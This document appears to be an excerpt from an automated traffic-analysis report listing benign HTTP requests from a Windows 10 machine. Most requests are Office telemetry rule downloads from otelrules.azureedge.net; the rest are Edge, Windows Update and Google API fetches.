Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=tyPY8Ol6snxgu8a&MD=F+xczMGs HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730864072&P2=404&P3=2&P4=Q%2bO1Q5E1EuBpilcL9zuDGFlaXgjvdf%2bqMLbXV%2fYFI6Zblb%2bRODVJ8tlPCqjLKj2JppeVNjCdjhJz64HUTEk9GA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: NHUGjtNtrfJp/lOS9igYc+Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
